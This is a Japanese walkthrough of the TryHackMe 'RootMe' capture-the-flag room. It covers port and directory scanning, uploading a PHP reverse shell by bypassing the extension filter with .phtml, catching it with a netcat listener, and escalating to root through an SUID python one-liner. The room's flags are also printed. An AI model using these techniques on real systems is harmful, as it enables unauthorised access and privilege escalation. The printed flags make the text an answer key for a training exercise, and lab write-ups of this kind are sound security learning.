【TryHackMe】RootMe：Walkthrough

# 概要

TryHackMe「RootMe」のWalkthroughです。

https://tryhackme.com/r/room/rrootme

# Task2

## **Q1**.*Scan the machine, how many ports are open?*

**Hint**.*Use nmap to do a port scan.*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.31.96                                          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 22:16 EDT
Nmap scan report for 10.10.31.96
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.17 seconds
```

`ssh:22`,`http:80`番のポートがオープンになっています。

**A**.**2**

## **Q2**.*What version of Apache is running?*

ポートスキャンの結果からApacheのバージョンがわかりました。

```
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

**A**.**2.4.29**

## **Q3**.*What service is running on port 22?*

ポートスキャンの結果から22番ポートでは`ssh`が動作していると分かりました。

```
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
```

**A**.**ssh**

## **Q4**.*Find directories on the web server using the GoBuster tool.*

**Hint**.*gobuster dir -u MACHINE_IP -w WORDLIST_PATH*

`gobuster`でディレクトリを列挙します。

```
$ gobuster dir -u http://10.10.31.96 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.31.96
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/css                  (Status: 301) [Size: 308] [--> http://10.10.31.96/css/]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 307] [--> http://10.10.31.96/js/]
/panel                (Status: 301) [Size: 310] [--> http://10.10.31.96/panel/]
/server-status        (Status: 403) [Size: 276]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.31.96/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

## **Q5**.*What is the hidden directory?*

`gobuster`の結果から`/panel/`というパスが見つかりました。

**A**.**/panel/**

# Task3

## **Q1**.*user.txt*

**Hint**.*Search for "file upload bypass" and "PHP reverse shell".*

先に`netcat`でリッスンしておきます。

```
$ nc -lvnp 1234
```

試しに適当なファイルをアップロードしてみます。

![upload success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/34c2f06c-30a1-1334-2d63-e3a85c02fb41.png)

ポルトガル語でファイルのアップロードに成功したとメッセージが表示されました。

また、`Veja!`のリンクをクリックすると、`/uploads/`パスでアップロードしたファイルにアクセスできることが分かりました。

![access upload file.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/81dfb6b8-7a9f-1316-8a3b-01d1298969d4.png)

ここにリバースシェルコードをアップロードしてアクセスすればシェルを獲得できそうです。
試しにPHPのリバースシェルコードをアップロードしましたが、PHPは使用できないとメッセージが返ってきました。

![php not success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6567dc0c-2dc2-e25c-7017-b27a0669d3d5.png)

`HackTricks`を参考に色んな拡張子を試してみます。

https://book.hacktricks.xyz/pentesting-web/file-upload

試しに`%20`を拡張子の後ろに付けるとアップロードに成功しました。

![php rev shell upload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/60a86f82-ad3d-8b35-ffe8-3b4e9f806cc6.png)

しかしファイルにアクセスしようとすると`404`が返ってくるので失敗です。

![404.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/154bc3e0-23e5-583a-9aea-ab1dd07a9b67.png)

`phtml`にすることでアップロード、アクセス共に成功しシェルを獲得できました。

:::note info
Burpで拡張子をブルートフォース攻撃してみても良かったかも。
:::

```
$ nc -lvnp 1234                      
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.31.96] 36948
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 03:04:39 up  1:16,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
```

`/var/www/user.txt`に一つ目のフラグがあります。

```
$ ls -l /var/www 
ls -l /var/www
total 8
drwxr-xr-x 6 www-data www-data 4096 Aug  4  2020 html
-rw-r--r-- 1 www-data www-data   21 Aug  4  2020 user.txt
$ cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
```

**A**.**THM{y0u_g0t_a_sh3ll}**

# Task4

## **Q1**.*Search for files with SUID permission, which file is weird?*

**Hint**.*find / -user root -perm /4000*

`SUID`ビットがセットされたプログラムを検索します。

```
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
```

:::note info
SUIDビットの検索についての記事を投稿したので併せてご覧ください。
[SUIDビットが設定されたファイルの検索方法](https://qiita.com/kk0128/items/78acb48b70b3905f7eab)
:::

`python`があるのでこれを使えそうですね。

```
/usr/bin/python
```

**A**.**/usr/bin/python**

## **Q2**.*Find a form to escalate your privileges.*

**Hint**.*Search for gtfobins*

`GTFOBins`で権限昇格のテクニックを検索できます。

https://gtfobins.github.io/gtfobins/python/

## **Q3**.*root.txt*

エクスプロイトコマンドを実行し、root権限を取得出来ました。

```
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
whoami
root
```

`/root/root.txt`を閲覧してルートフラグゲットです！

```
# ls -l /root
ls -l /root
total 4
-rw-r--r-- 1 root root 26 Aug  4  2020 root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

**A**.**THM{pr1v1l3g3_3sc4l4t10n}**